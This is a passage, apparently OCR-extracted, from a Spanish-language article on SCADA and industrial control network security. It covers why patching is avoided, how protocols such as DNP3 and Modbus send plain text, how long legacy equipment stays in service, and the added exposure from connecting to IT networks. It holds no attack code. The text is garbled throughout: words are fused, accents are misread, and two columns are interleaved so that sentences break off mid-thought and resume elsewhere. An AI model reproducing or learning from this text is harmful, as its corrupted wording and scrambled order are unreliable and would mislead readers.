doblares. Esto determina como practica operativa
habitual “prohibir” la actualizacién de los sistemas
operativos de aplicaciones o software de soporte
endichasimplementaciones, hasta que se defina
la detencion de la instalacién por otros motivos
(mantenimiento o incidentes).

Parafacilitarlaconectividady estabilidad de estas
plataformas, en la mayoria de los protocolos de
comunicacidon SCADA entre los servidores de
control, las RTU (Remote Terminal Units), los
PLC (Programmable Logic Controlers) y otros
dispositivos;  raramente  se  incorporan
consideraciones de seguridad (entre los mas

Por ejemplo, el reinicio de sistemas es una
practica habitual en los procesos de
actualizacion y parcheo de software para
mejorar el desempeno o la seguridad en el
mundo de las tecnologias de la informacion,
pero en el entorno industrial, este tipo de
practicas es, en muchos casos, imposible o
excesivamente oneroso, puesto que implica la
detencion del proceso industrial con sus
consecuentes costos de parada y reposicion
del estado de régimen. Imaginemos que cada

difundidos: DNP3, Modbus3, ICCP, OPC). Todos
estos protocolos tienen reconocidas
vulnerabilidades, brindando en casi todos los
casosgrancantidad de informacién entexto plano
que permite obtener datos relevantes de la
infraestructura).

Las aplicaciones SCADA deben sortear arduos
controles de compatibilidad para conectar
exitosamente los  mudultiples  dispositivos
periféricos que utilizan, como sensores, PLC,
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valvulas, etc., por lo que en general, la
actualizacion de dichas aplicaciones tiene una
demora con el estado del arte de la seguridad
en software de al menos un afo, en la mayoria
de los casos. Inclusive debemos tener presente
que, si actualizamos el sistema operativo sin
obtener la comunicacién de compatibilidad del
fabricante del SCADA, podemos perder
garantiasy sufririnterrupciones de la operacion
por incompatibilidad.

Por otra parte, la vida util de los equipamientos
y aplicaciones es otro aspecto en el cual los dos
mundos: TIC y ICS difieren absolutamente, los
tiempos de Redes de Control Industrial (RCI)
son habitualmente muy largos (hemos
encontrado implementaciones activas de
principios de la década de los 90) y con las
cualeslasorganizaciones estan muy conformes
con su desempeno y no desean cambiar. En el
mundo TIC, la velocidad de renovacion de
hardware y software rara vez supera los tres
anos de antigtiiedad. Esto hace que la mayoria
del equipamiento disponible en el mundo RCI
sea antiguo, con escasa capacidad
computacional, imposibilitando la
implementacion de nuevas funcionalidades de
seguridad (como certificar o cifrar las
comunicaciones).

Por dltimo, en los tiempos que corren, las
organizaciones se encuentran abocadas a
centralizar las gestiones de los sistemas de

los sistemas
vista la
localizacion y control directo de los operadores
contra los sistemas SCADA y exponiéndolos a

control e interconectarlos con
administrativos, perdiéndose de

multiples redes, incluso en ocasiones, a
comunicaciones a través de Internet.

Asi las cosas, es natural encontrarse sistemas
operativos obsoletos, aplicaciones débilmente
implementadas y en los hechos encontrarnos
frente aunaexcelente practica operativa (es decir
jconcluir que nada mejor se puede hacer!). Es la
realidad de construir con desarrollos concebidos
para el mundo TIC, aplicaciones para el mundo
RCI.

1D.J. Kang, Proposal strategies of key management for
data encryption in SCADA network of electric power
systems.

25GS| para organizaciones complejas, Eduardo Carozo,
ISACA

3Modbus, Modbus Application Protocol Specification
V1.1b, 2006
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